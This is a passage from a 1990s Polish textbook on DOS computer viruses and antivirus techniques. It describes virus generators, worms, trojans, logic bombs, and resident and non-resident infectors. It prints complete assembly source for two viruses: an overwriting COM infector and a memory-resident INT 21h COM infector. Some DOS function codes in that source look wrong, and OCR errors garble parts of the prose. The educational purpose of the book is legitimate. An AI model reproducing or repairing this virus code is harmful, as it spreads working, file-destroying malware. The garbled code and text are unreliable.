2.5. Generatory wirusów

Na przestrzeni ostatnich kilku lat pojawiło się wiele programów umożliwiających 
stworzenie własnego wirusa, nawet bez znajomości systemu, czy mechanizmów 
wykorzystywanych przez wirusy. Narzędzia tego typu są dostępne w sieci Internet. 
Korzystając z gotowych modułów w asemblerze można utworzyć wirusa o zadanych 
parametrach, wybieranych najczęściej przy pomocy przyjaznego użytkownikowi menu 
lub specjalnego pliku definicyjnego. Można więc określić zakres obiektów infekowanych 
przez tworzonego wirusa, rodzaj efektów specjalnych, sposób ewentualnej destrukcji, a 
także warunki zadziałania efektów specjalnych. Oprócz kodu wynikowego wirusa 
(gotowego do uruchomienia) generatory tworzą także pełne, najczęściej dobrze opisane 
źródła w asemblerze, co umożliwia przeciętnemu, ale zainteresowanemu pisaniem 
wirusów użytkownikowi, dokształcenie się w tej dziedzinie. Najbardziej znane generatory 
wirusów to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-
MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE 
Randomic Life Generator).

2.6. Robaki (ang. worms)

Robak to program, którego działanie sprowadza się do tworzenia własnych duplikatów, 
tak że nie atakuje on żadnych obiektów, jak to czynią wirusy. Oprócz zajmowania 
miejsca na dysku program ten rzadko wywołuje skutki uboczne. Podobnie jak wirusy 
towarzyszące, robaki najczęściej pisane są w językach wysokiego poziomu. Robaki są 
najbardziej popularne w sieciach, gdzie mają do dyspozycji protokoły transmisji 
sieciowej, dzięki którym mogą przemieszczać się po całej sieci.

2.7. Konie trojańskie (ang. trojan horses)

Koń trojański nie jest wirusem komputerowym, ale ze względu na swoje działanie 
(najczęściej destrukcyjne) często bywa z nim utożsamiany.
Zasada działania koma trojańskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby 
to normalną prace, bezpośrednio wynikająca , przeznaczenia programu (np.: gra, demo, 
program użytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauważalne dla 
użyt-kownika operacje, (najczęściej po prostu niszczy - kasuje lub zamazu-je - dane na 
dysku twardym).
Konie trojańskie najczęściej przenoszą sie w plikach udających nowe, popularne 
programy kompresujące (np.: PKZIP, ARJ. RAR) lub też udają programy narzedziowe do 
obsługi dysków.

2.8. Bomby logiczne (ang. logical bombs)

O ile koń trojański wykonuje brudną robotę od razu po uruchomieniu, o tyle bomba swe 
destrukcyjne oblicze ukazuje tylko w określonym odpowiednimi warunkami czasie 
(najczęściej zależnie od aktualnej daty lub liczby poprzednich wywołań programu). Ze 
względu na to, iż właściwy, destrukcyjny kod może być ukryty w dowolnym miejscu 
programu zawierającego bombę, należy ostrożnie obchodzić się z aplikacjami, których 
pochodzenie jest nieznane. Mianem bomby określa się często także destrukcyjny, 
uruchamiany tylko po spełnieniu jakiegoś warunku, kod zawarty w wirusach.

background image

ROZDZIAŁ 3

3.1. Wirusy nierezydentne (ang. non-resident viruses)

Wirusy nierezydentne są najprostszą odmianą wirusów komputerowych zarażających 
pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najczęściej przy 
pomocy funkcji (4E/4F/21), kolejny obiekt do zarażenia. W przypadku nie znalezienia 
żadnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie 
znaleziony plik jest infekowany. Ofiary poszukiwane są w bieżącym katalogu i/lub w 
katalogach określonych w zmiennej środowiskowej PATH, i/lub w podkatalogach 
bieżącego katalogu, i/lub w katalogu głównym. Z reguły wirus taki nie przejmuje 
żadnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie 
programowe 24h, które jest odpowiedzialne za obsługę błędów krytycznych). Główną 
wadą wirusów nierezydentnych jest to, iż poszukiwanie ofiar przy starcie programu 
wiąże się najczęściej z dużym opóźnieniem w uruchomieniu właściwego programu oraz 
łatwo zauważalną przez użytkownika wzmożoną aktywnością przeszukiwanego nośnika. 
Drugim poważnym mankamentem jest to, iż zarażają one tylko i wyłącznie po 
uruchomieniu nosiciela, a więc nie mogą efektywnie infekować plików ani też skutecznie 
maskować swej obecności w7 systemie, tak jak czynią to wirusy rezydentne. Wirusy 
nierezydentne są najczęściej wypuszczane przez oszołomionych pierwszym sukcesem, 
początkujących twórców^ wirusów. O tym, jak prosto napisać najprymitywniejszą wersję 
wirusa nierezydentnego, niech świadczy poniższa krótka sekwencja napisana w 
asemblerze. Po skompilowaniu otrzymujemy program, który po uruchomieniu szuka przy 
pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po 
ewentualnym jego znalezieniu przepisuje swój kod na początek ofiary. Wirus ten jest 
bardzo prymitywny w swym działaniu, gdyż nieodwracalnie niszczy zarażany przez 
siebie plik (jest to wirus
nadpisujący), a także nie posiada żadnej obsługi błędów (w przypadku nieznalezienia 
ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo krótkiego czasu 
(programy COM przestaną "nagle" działać).

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                    PRYMITYW v1.0, Autor : Adam Blaszczyk 1997              ;
;                                                                            ;
;                      Prymitywny wirus nierezydentny nadpisujacy,           ;
;                      atakujacy i niszczacy pierwszy znaleziony             ;
;                      w katalogu plik COM                                   ;
; Kompilacja :                                                               ;
;             TASM     PRYMITYW.ASM                                          ;
;             TLINK /t PRYMITYW.OBJ                                          ;
;                                                                            ;
;----------------------------------------------------------------------------;

background image

PRYMITYW SEGMENT
         ASSUME CS: PRYMITYW, DS:PRYMITYW

         ORG 100h
         WirDlug = Offset (WirKoniec-WirStart)
                             ; WirDlug okresla dlugosc calego kodu wirusa

WirStart:

     mov  cx,20h             ; atrybut poszukiwanej pozycji katalogu (Archive)
     mov  dx,Offset PlikiCOM ; szukaj plikow *.COM
     mov  ah,4Fh             ; funkcja DOS - szukaj pozycji w katalogu
     int  21h                ; wywolaj funkcje

     mov  ax,3D02h           ; funkcja DOS - otworz plik do odczytu i zapisu
     mov  dx,9Fh             ; nazwa znalezionego pliku w buforze DTA
                             ; znajdujacym sie pod adresem CS:80h
     int  21h                ; wywolaj funkcje

     xchg ax,bx              ; przenies  uchwyt pliku z AX do BX

     mov  cx,WirDlug         ; podaj ile bajtow zapisac
     mov  dx,100h            ; zapisuj spod adresu CS:100h
     mov  ah,30h             ; funkcja DOS - zapisz do pliku
     int  21h                ; wywolaj funkcje

     ret                     ; rownoznaczne z wykonaniem Int 20h

 PlikiCOM db '*.COM'         ; maska dla poszukiwanych pozycji w katalogu

 WirKoniec:

 PRYMITYW ENDS
 END WirStart

3.2. Wirusy rezydentne (ang. resident viruses)

Autorzy wirusów szybko zorientowali się, że działające tylko po uruchomieniu nosiciela 
wirusy nierezydentne mają dość ograniczone pole manewru, stąd też poszukiwali 
Jakiegoś mechanizmu, który pozwalałby na nieprzerwane monitorowanie systemu 
operacyjnego. Z pomocą przyszli im nieświadomie sami autorzy systemu DOS, 
implementując w typowo jednozadaniowym środowisku mechanizm sztucznej 
wielozadaniowości. Zasada działania wirusów rezyden-tnych polega bowiem na 
zainstalowaniu się w pamięci operacyjnej komputera i przejęciu odpowiednich odwołań 
do systemu w sposób podobny do tego, w jaki czynią to programy typu TSR (ang. 
Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR, 

background image

który po zainstalowaniu ukrywa swój kod przed programami przeglądającymi pamięć. 
Aktywny i jednocześnie ukryty w pamięci, ma o wiele szersze pole manewru niż wirusy 
nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem 
przy każdej dowolnej próbie dostępu na infekcję plików lub sektorów. Możliwe staje się 
także zastosowanie techniki zaawansowanego ukrywania się w systemie (tzw. technika 
stealth, omówiona w dalszej części opracowania). Zawładnięcia systemem dokonuje się 
poprzez przejęcie odpowiednich przerwań sprzętowych i funkcji obsługiwanych przez 
ogólnie dostępne przerwania programowe.
Ze względu na szybkość mnożenia się wirusy rezydentne dzieła się na szybkie intektory 
i wolne infektory. Poniżej przedstawiono przykład prostego wirusa rezydentnego, 
infekującego pliki COM podczas ich uruchamiania.

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                  KOMBAJN v1.0, Autor : Adam Blaszczyk 1997                 ;
;                                                                            ;
;              Prosty wirus rezydentny plikow COM                            ;
;              Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden  ;
;              Przejmuje przerwanie 21h                                      ;
;              Przejmuje przerwanie 24h na czas infekcji                     ;
;                                                                            ;
; Kompilacja :                                                               ;
;             TASM     KOMBAJN.ASM                                           ;
;             TLINK /t KOMBAJN.OB J                                          ;
;                                                                            ;
;----------------------------------------------------------------------------;
JUMPS
KOMBAJN SEGMENT
        ASSUME CS:KOMBAJN, DS:KOMBAJN
        ORG 100h

     Haslo     = 0BACAh                    ; \ do sprawdzenia, czy wirus jest
     Odpowiedz = 0CABAh                    ; / juz zainstalowany w pamieci

           NUL = 00h                       ; \
           LF  = 0Ah                       ;  - stale znakow
           CR  = 0Dh                       ; /

  AtrReadOnly  = 00000001b                 ; \
  AtrHidden    = 00000010b                 ;  \
  AtrSystem    = 00000100b                 ;   \ rozne stale atrybutow
  AtrVolumeID  = 00001000b                 ;   / pozycji katalogu
  AtrDirectory = 00010000b                 ;  /
  AtrArchive   = 00100000b                 ; /

background image

VRok          = 1998                       ; \  data opisujaca
VMiesiac      = 13                         ;  - pliki juz zainfekowane
VDzien        = 31                         ; /

VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien

DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16

Start:                                     ; poczatek wirusa

PoczatekWirusa:                            ; pomocnicza etykieta

    Call  Trik                             ; zapisz na stosie relatywny ofset
Trik:

    pop   si                               ; zdejmij ze stosu relatywny ofset
    sub   si,103h                          ; oblicz ofset do poczatku wirusa

    mov   ax,Haslo                         ; \ sprawdz, czy wirus jest
    int   21h                              ; / juz w pamieci

    cmp   ax,Odpowiedz                     ; \ czy kopia wirusa odpowiedziala ?
    jne   InstalacjaWPamieci               ; / NIE - zainstaluj
                                           ; TAK - wypisz komunikat
    lea   di,TeBylZainstalowany            ;    /
    call  DrukSI                           ;   /
    jmp   PowrocDoNosiciela                ; i powroc do nosiciela

InstalacjaWPamieci:                        ; poczatek instalacji

    lea   di,TeCopyRight                   ; \ wyswietl info o wirusie
    Call  DrukSI                           ; /

    lea   di,TeInstalacja                  ; \  zapytaj uzytkownika, czy chce
    Call  DrukSI                           ;  \ zainstalowac wirusa w pamieci
    Call  Decyzja                          ;  /
    jc    PowrocDoNosiciela                ; / CF=1 - uzytkownik nie chce instalowac

    mov   ax,3521h                         ; funkcja DOS - wez adres INT 21
    int   21h                              ; wywolaj funkcje

    mov   [si][Stare21Seg],es              ; \ zachowaj adres (wirus bedzie go
    mov   [si][Stare21Ofs],bx              ; / uzywal)

    mov   ax,ds                            ; przywroc ES
    mov   es,ax                            ; AX=ES=DS=CS=SS=PSP

background image

    dec   ax                               ; AX=ES-1=MCB do aktualnego bloku
    mov   ds,ax                            ; DS=blok MCB
    mov   bx,word ptr ds:[0003h]           ; wez dlugosc aktualnego bloku
    sub   bx,DlugoscWPamieci+1             ; zmniejsz go o dlugosc wirusa

    mov   ah,4Ah                           ; funkcja DOS - zmien rozmiar bloku pamieci
    int   21h                              ; wywolaj funkcje

    mov   bx,DlugoscWPamieci               ; podaj dlugosc wymaganego bloku pamieci
    mov   ah,48h                           ; funkcja DOS - przydzial bloku
    int   21h                              ; wywolaj funkcje
    jc    PowrocDoNosiciela                ; CF=1 - nie udalo sie przydzielic

    mov   es,ax                            ; ES=wskazuje na przydzielony blok
    xor   di,di                            ; ES:DI - dokad skopiwoac
    cld                                    ; zwiekszaj SI, DI w REP MOVSB

    push  si                               ; SI bedzie zmieniany, wiec zachowaj
    add   si,offset PoczatekWirusa         ; dodaj ofset : skad kopiowac
    mov   cx,DlugoscWirusa                 ; cx=ile bajtow kopiowac
    rep   movs byte ptr es:[di], cs:[si]   ; kopiuj z CS:SI do ES:DI, CX bajtow
    pop   si                               ; przywroc relatywny ofset

    mov   ax,es                            ; pobierz adres do MCB opisujacego
    dec   ax                               ; blok, w ktorym jest wirus
    mov   ds,ax                            ; DS=MCB wirusa
    mov   word ptr ds:[0001h],0008h        ; ustaw MCB wirusa, jako systemowy
    sub   ax,0Fh                           ; \  DS=adres bloku-10h
    mov   ds,ax                            ;  \ sztuczka, dzieki ktorej mozna
                                           ;  / odwolywac sie do danych jak w
                                           ; /  zwyklym programie COM (ORG 100h)

    mov   dx,Offset NoweInt21              ; DX=adres do nowej procedury INT 21h
    mov   ax,25FFh                         ; funkcja DOS - ustaw adres INT 21
    int   21h                              ; wywolaj funkcje

    push  cs                               ; \   wyswietl komunikat o
    pop   ds                               ;  \  instalacji w pamieci
    lea   di,TeZainstalowany               ;   \ i segment, w ktorym
    Call  DrukSI                           ;   / rezyduje wirus
    mov  ax,es                             ;  /
    Call DrukHEX16                         ; /

PowrocDoNosiciela:                         ;
    push  cs cs                            ; \ przywroc DS=ES=CS=PSP
    pop   ds es                            ; /

background image

    mov   al,byte ptr [si][StareBajty]     ; \  przywroc 3 poczatkowe bajty
    mov   ds:[100h],al                     ;  \ programu pod adresem CS:100h
    mov   ax,word ptr [si][StareBajty+1]   ;  /
    mov   ds:[101h],ax                     ; /

    mov   ax,100h                          ; \ zachowaj na stosie slad do
    push  ax                               ; / adresu 100h

    xor   ax,ax                            ; \   dla bezpieczenstwa
    xor   bx,bx                            ;  \  lepiej wyzerowac rejestry
    xor   cx,cx                            ;   \ robocze
    xor   dx,dx                            ;   /
    xor   si,si                            ;  /
    xor   di,di                            ; /

    ret                                    ; powroc do nosiciela

PytanieOInstalacje:                        ; \   odpowiedz rezydujacego
    xchg  al,ah                            ;   - wirusa na pytanie, czy jest
    iret                                   ; /   w pamieci

NoweInt21:
    cmp   ax,4B00h                         ; czy funkcja DOS - uruchom program ?
    je    InfekcjaPliku                    ; TAK - sprobuj infekowac
    cmp   ax,Haslo                         ; czy pytanie wirusa o instalacje ?
    je    PytanieOInstalacje               ; TAK - odpowiedz ze zainstalowany

    jmp   PowrotZInt21                     ; idz do poprzedniego lancucha
                                           ; przerwan

InfekcjaPliku:
    push  es ds ax bx cx dx si di          ; zachowaj zmieniane rejestry

    mov   cs:StaryDS, ds                   ; \ zachowaj adres do nazwy pliku
    mov   cs:StaryDX, dx                   ; /

    mov   ax,3524h                         ; \     pobierz stara i ustaw
    Call  StareInt21                       ;  \    nowa procedure obslugi
    mov   cs:Stare24Seg,es                 ;   \   przerwania krytycznego
    mov   cs:Stare24Ofs,bx                 ;    \  INT 24h w celu ochrony
                                           ;     \ przed ewentulanymi bledami
    push  cs                               ;     / (np; podczas proby zapisu
    pop   ds                               ;    /   na zabezpieczonej przed
    lea   dx,NoweInt24                     ;   /    zapisem dyskietce, nie
    mov   ax,2524h                         ;  /     zostanie wywolany dialog
    Call  StareInt21                       ; /      ARIF)

background image

    mov   ds,cs:StaryDS                    ; DS=wskazuje na nazwe pliku
    mov   dx,cs:StaryDX                    ; podaj nazwe pliku
    mov   ax,4300h                         ; funkcja DOS - czytaj atrybut
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad, wiec powrot

    mov   cs:Atrybut,cl                    ; wez stary atrybut

    mov   ax,4301h                         ; funkcja DOS - zapisz atrybut
    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    PrzywrocAtrybut

    mov   ax,3D02h                         ; funkcja DOS - otworz plik
                                           ; do odczytu i zapisu
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad

    xchg  ax,bx                            ; przenies uchwyt pliku do BX

    mov   ax,5700h                         ; funkcja DOS - wpisz date, czas
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    mov   cs:Czas,cx                       ; zachowaj czas pliku na pozniej

    cmp   dx,VZnacznik                     ; czy plik jest juz zainfekowany ?
    je    ZamknijPlik                      ; TAK - zamknij plik, powrot

    push  cs                               ; \ DS=CS=segment wirusa
    pop   ds                               ; /

    mov   cx,3                             ; ilosc czytanych bajtow
    lea   dx,StareBajty                    ; podaj dokad czytac 3 bajty
    mov   ah,3Fh                           ; funkcja DOS - czytaj z pliku
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   ax,word ptr [StareBajty]         ; wez dwa pierwsze bajty pliku
    cmp   ax,'MZ'                          ; i sprawdz, czy to nie EXE
    je    ZamknijPlik                      ; gdy "MZ", to plik EXE, powrot
    cmp   ax,'ZM'                          ;
    je    ZamknijPlik                      ; gdy "ZM", to plik EXE, powrot

    xor   cx,cx                            ; \ zeruj CX:DX zawierajace
    xor   dx,dx                            ; / adres wzgledem konca pliku
    mov   ax,4202h                         ; funkcja DOS - zmien wskaznik
                                           ; odczytu/zapisu na koniec pliku

background image

    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    ZamknijPlik                      ; gdy CF=1, to blad

                                           ; DX=starsza czesc dlugosci pliku
    or    dx,dx                            ; czy plik krotszy niz 65536 ?
    jnz   ZamknijPlik                      ; nie - nie infekuj

    cmp   ax,64000                         ; czy dlugosc <= 64000 ?
    jmp   ZamknijPlik                      ; nie - nie infekuj

    cmp   ax,3                             ; czy dlugosc >= 3 ?
    jb    ZamknijPlik                      ; nie - nie infekuj

    sub   ax,3                             ; odejmij dlugosc skoku E9 ?? ??
    mov   word ptr [Skok+1],ax             ; zapisz do bufora rozkaz skoku

    lea   di,TeZnalazlemPlik               ; \       zapytaj uzytkownika
    Call  Druk                             ;  \      czy chce zainfekowac
                                           ;   \     plik
    mov   di,cs:StaryDX                    ;    \    (nazwa pliku jest
    mov   ds,cs:StaryDS                    ;     \    wyswietlana)
    Call  Druk                             ;      \
                                           ;       - (dzieki temu uzytkownik
    push  cs                               ;      /   ma pelna kontrole nad
    pop   ds                               ;     /    tym, co wirus infekuje)
    lea   di,TeInfekcja                    ;    /
    Call  Druk                             ;   /
    Call  Decyzja                          ;  /
    jc    ZamknijPlik                      ; /       gdy CF=1, uzytkownik nie pozwala

    mov   cx,DlugoscWirusa                 ; ilosc zapisywanych bajtow
    mov   dx,100h                          ; podaj skad zapisac wirusa
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    xor   cx,cx                            ; \ zeruj CX:DX zawierajace
    xor   dx,dx                            ; / adres wzgledem poczatku pliku
    mov   ax,4200h                         ; funkcja DOS - zmien wskaznik
                                           ; odczytu/zapisu na poczatek pliku
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,3                             ; ilosc zapisywanych bajtow
    lea   dx,Skok                          ; podaj skad zapisac rozkaz skoku
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    Call  StareInt21                       ; wywolaj stare przerwanie 21h

background image

    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,Czas                          ; przywroc czas
    mov   dx,VZnacznik                     ; zaznacz w dacie infekcje pliku
    mov   ax,5701h                         ; funkcja DOS - wpisz date, czas
    Call  StareInt21                       ; wywolaj stare przerwanie 21h

ZamknijPlik:
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik
    Call  StareInt21                       ; wywolaj stare przerwanie 21h

PrzywrocAtrybut:
    mov   cl,cs:Atrybut                    ; podaj stary atrybut
    mov   ch,0                             ; CX=CL
    mov   dx,cs:StaryDX                    ; podaj nazwe pliku do zmiany
    mov   ds,cs:StaryDS                    ; w DS:DX
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut
    Call  StareInt21                       ; wywolaj stare przerwanie 21h

    lds   dx,dword ptr cs:Stare24Ofs       ; \  przywroc stare przerwanie
    mov   ax,2524h                         ;  - INT 24
    Call  StareInt21                       ; /

    pop   di si dx cx bx ax ds es          ; przywroc zmieniane rejestry

PowrotZInt21:
    db 0EAh                                ; mnemonik rozkazu skoku JMP FAR
    Stare21Ofs dw ?                        ; (z tych pol korzysta skok
    Stare21Seg dw ?                        ; aby oddac sterowanie do poprzedniego
                                           ; elementu lancucha przerwan INT 21)

StareInt21:
    pushf                                  ; \ symuluj  wywolanie przerwania
    Call dword ptr cs:[Stare21Ofs]         ; / wywolaj stare przerwanie

    ret                                    ; powroc z wywolania

DrukSI:                                    ; procedura wyswietla tekst z
                                           ; CS:[DI+SI]
    add   di,si                            ; tekst w DI, dodaj SI
Druk:                                      ; procedura wyswietla tekst z
                                           ; CS:[DI]
    push  ax di                            ; zachowaj zmieniane rejestry

DrukPetla:
    mov   al,[di]                          ; pobierz znak

background image

    or    al,al                            ; czy koniec tekstu (znak=NUL) ?
    jz    DrukPowrot                       ; TAK - kocz pisanie

    mov   ah,0Eh                           ; funkcja BIOS - wyswietl znak
    int   10h                              ; wywolaj funkcje

    inc   di                               ; zwieksz indeks (na nastepny znak)

    jmp   short DrukPetla                  ; idz po nastepny znak

DrukPowrot:
    pop   di ax                            ; przywroc zmieniane rejestry

    ret                                    ; powrot

DrukHEX16:                                 ; drukuje liczbe heksalna z AX
    push  ax                               ; zachowaj AX (dokladniej AL)
    mov   al,ah                            ; najpierw starsza czesc
    Call  DrukHex8                         ; wyswietl AH
    pop   ax                               ; przywroc AX (dokladniej AL)
                                           ; i wyswietl AL
DrukHex8:                                  ; drukuje liczbe heksalna z AL
    push  ax                               ; zachowaj AX (dokladniej 4 bity AL)
    shr   al,1                             ; \
    shr   al,1                             ;  \ podziel AL przez 16,
    shr   al,1                             ;  / czyli wez 4 starsze bity AL
    shr   al,1                             ; /
    Call  DrukHex4                         ; i wydrukuj czesc liczby szesnastkowej
    pop   ax                               ; przywroc AX (dokladniej 4 bity AL)
    and   al,15                            ; wez 4 mlodsze bity AL
                                           ; i wydrukuj czesc liczby szesnastkowej
DrukHex4:
    cmp   al,10                            ; \   konwersja liczby binarnej
    jb    Cyfra09                          ;  \  na znak
    add   al,'A'-'0'-10                    ;   - 00..09, 0Ah..0Fh na
Cyfra09:                                   ;  /  '0'..'9', 'A'..'F'
    add   al,'0'                           ; /

    mov   ah,0Eh                           ; funkcja BIOS - wyswietl znak
    int   10h                              ; wywolaj funkcje

    ret                                    ; powrot

Decyzja:                                   ; \     pobiera z klawiatury
    mov   ah,0h                            ;  \    znak i sprawdza, czy jest
    int   16h                              ;   \   to litera 'T'lub 't'
    and   al,0DFh                          ;    \  jezeli tak, ustawia CF=0

background image

    cmp   al,'T'                           ;     \ jezeli nie, ustawia CF=1
    clc                                    ;     /
    je    DecyzjaTak                       ;    /
    stc                                    ;   /
DecyzjaTak:                                ;  /
    ret                                    ; /

NoweInt24:                                 ;
    mov   al,3                             ; sygnalizuj CF=1, gdy dowolny blad
                                           ; nie wywoluj ARIF
    iret                                   ; powrot z przerwania

         TeCopyRight db CR,LF,'KOMBAJN v1.0, Autor : Adam Blaszczyk 1997'
                     db CR,LF,NUL
  TeInstalacja       db CR,LF,'_ Zainstalowac KOMBAJNA w pamieci operacyjnej (T/N) ?
',NUL
  TeBylZainstalowany db CR,LF,'_ KOMBAJN jest juz w pamieci !',NUL
  TeZainstalowany    db CR,LF,'_ KOMBAJN zostal zainstalowany w segmencie : ',NUL
  TeZnalazlemPlik    db CR,LF,'_ Znalazlem plik : "',NUL
  TeInfekcja         db '"',CR,LF,'  Czy chcesz sprobowac zainfekowac go KOMBAJNEM 
(T/N) ?',NUL

     StareBajty db 0CDh,20h,90h
     Skok       db 0E9h
KoniecWirusa:
all:
     Skok2      dw ?
     StaryDS    dw ?
     StaryDX    dw ?
     Atrybut    db ?
     Czas       dw ?
     Stare24Ofs dw ?
     Stare24Seg dw ?

KOMBAJN ends
end start

3.2.1. Szybkie infektory (ang.fast infectors)

Szybkie infektory przejmują wszystkie możliwe funkcje systemu DOS, używane do 
obsługi plików i zarażają wszystko, co się da, w maksymalnie krótkim czasie, co 
powoduje, iż po okresie bardzo szybkiej ekspansji wirusa w danym systemie następuje 
jego pasywacja, gdyż wirus nie może znaleźć kolejnej ofiary do zarażenia. Często 
pierwszą czynnością wykonywaną przez wirusa jest zniszczenie w pamięci kodu 
zamazywalnej części interpretatora poleceń, co sprawia, że przy następnym wywołaniu 
jakiegokolwiek polecenia z poziomu DOS plik zawierający interpretator poleceń (czyli 
najczęściej COMMAND.COM) zostanie ponownie uruchomiony i w efekcie natychmiast 

background image

zainfekowany.
Duża aktywność szybkiego infektora będzie na pewno łatwo zauważalna dla 
użytkownika - nawet tego, który słabo zna system. Użycie najlepszych nawet technik 
stealth (dość często stosowanych przez tego typu wirusy) także się nie sprawdzi, 
zwłaszcza gdy użytkownik wykonuje dużo operacji dyskowych.

3.2.2. Wolne infektory (ang. slow infectors)

Wirusy tego typu są bardziej wyrafinowane niż szybkie infektory. Ich głównym celem nie 
jest maksymalnie szybka ekspansja w systemie, lecz raczej jak najdłuższe przetrwanie. 
Wirusy te używają najczęściej wolnych, kilkustopniowych, zmiennych procedur 
szyfrujących i techniki stealth. Infekują najczęściej tylko takie obiekty, które modyfikuje 
lub tworzy użytkownik, a więc nawet w przypadku sygnalizowania jakiejś niebezpiecznej 
operacji przez ewentualny program antywirusowy użytkownik będzie przekonany, iż 
potwierdza wykonywane przez siebie czynności.
Są to wirusy bardzo trudne do wykrycia i usunięcia, nawet przez bardzo zaawansowane 
programy antywirusowe.

ROZDZIAŁ 4

4.1. Pliki

Jedną z najczęściej wykorzystywanych dróg, jaką przenoszą się wirusy. są pliki. Na 
samym początku były to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak 
liczba różnorodnych plików branych pod uwagę przez twórców wirusów wzrosła. Można 
powiedzieć, iż w kręgu zainteresowań ludzi piszących wirusy są wszystkie pliki, które 
posiadają w swym wnętrzu struktury zawierające instrukcje sterujące oraz funkcje 
operujące na plikach i/lub sektorach. Mogą to więc być pliki wykonywalne (COM, EXE), 
wsadowe (BAT), pliki zawierające sterowniki (SYS, BIN, DRV), pliki z modułami 
wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a także pliki 
programów, udostępniające użytkownikom definiowanie makr (DOC, XLS, SAM). 
Spotykane są także wirusy nietypowe, np. atakujące programy napisane w asembłerze 
(ASM). Rodzaj pliku rozstrzygany jest najczęściej na podstawie jego wewnętrznej 
budowy, tak więc w większości przypadków zmiana rozszerzenia pliku nie pozwala na 
uchronienie go przed infekcją. Wewnętrzna struktura najczęściej zarażanych plików oraz 
sposoby ich infekcji omówione zostały poniżej. W rozdziale opisującym infekcję plików 
COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas 
uruchamiania programów (blok wstępny programu, otoczenie programu).

4.1.1. Pliki wykonywalne COM

Ze względu na swą prostą budowę programy typu COM od początku stanowiły 
smakowity kąsek dla twórców wirusów. Zawierają one kod programu w tzw. postaci 
absolutnej, dlatego też ich ładowanie do pamięci polega na wczytaniu zawartości pliku 
pod adres znajdujący się bezpośrednio po tworzonym dla każdego procesu bloku 
wstępnym PSP i wykonaniu dalekiego skoku na początek programu,
a więc ich obraz w pamięci jest wierną kopią zawartości pliku. Wygląd programu COM 
po załadowaniu do pamięci przedstawia poniższa tabela.

Wygląd programu COM po załadowaniu do pamięci:
Adres (względem segmentu), do którego 

Zawartość pamięci

background image

został załadowany plik COM
CS:0000-CS:0100

Blok wstępny PSP (patrz następna tabela) 

CS:0000-CS:????

Kod programu załadowany z pliku

Format bloku wstępnego programu PSP
Adres w pamięci

Zawartość

00-01

Kod rozkazu int 21 h (CD 21)

02-03

Adres segmentu pamięci niedostępnej dla programu

04

Nie używane przez DOS, używane wewnętrznie przez OS/2

05-09

Dalekie odwołanie do systemu DOS (rozkaz wywołania dalekiej 
procedury)

06-07

Rozmiar dostępnej pamięci w segmencie

0A-0D

Zapamiętywany adres zakończenia programu (int 22h)

0E-11

Adres programu obsługi CTRL-BREAK (int 23h)

12-15

Adres programu obsługi błędów krytycznych (int 24h)

16-17

Adres do segmentu pamięci, gdzie znajduje się blok PSP
programu rodzicielskiego (interpretator poleceń modyfikuje to 
pole i wstawia tam adres swojego PSP)

18-2B

Tablica plików obsługiwanych przez proces JFT (ang. Job File 
Table); każdy element tablicy zawiera indeks wskazujący na 
element SFT (ang. System File Table) opisujący wszystkie 
otwarte w systemie pliki lub też wartość FF, jeżeli element nie 
jest używany

2C-2D

Adres segmentu pamięci, w którym znajduje się otoczenie 
programu, zawierające definicje zmiennych środowiskowych 
systemu DOS, takich jak PATH, PROMPT Ud. Każdy element 
otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B 
rozszerza otoczenie programu poprzez dodanie jednego słowa 
określającego ilość dodatkowych łańcuchów ASCIIZ (zwykle 
0001), a następnie umieszcza dalej nazwę uruchamianego 
programu. Umożliwia to procesowi dotarcie do pliku na dysku 
zawierającego kod uruchomionego programu - jest to parametr 
paramstr(0) w Pascalu i argv[0] w C.

2E-31

Zapamiętane wartości SS:SP (używane podczas wywoływania 
funkcji DOS) aktualnego procesu; DOS zapamiętuje je przed 
przełączeniem się na własny stos

32-33

Liczba elementów tablicy JFT (standardowo =20)

34-37

Daleki wskaźnik do tablicy plików JFT (standardowo CS:18) 
umożliwia rozszerzenie ilości plików wykorzystywanych przez 
proces

38-3B

Daleki wskaźnik do poprzedniego bloku wstępnego PSP

3C-4F

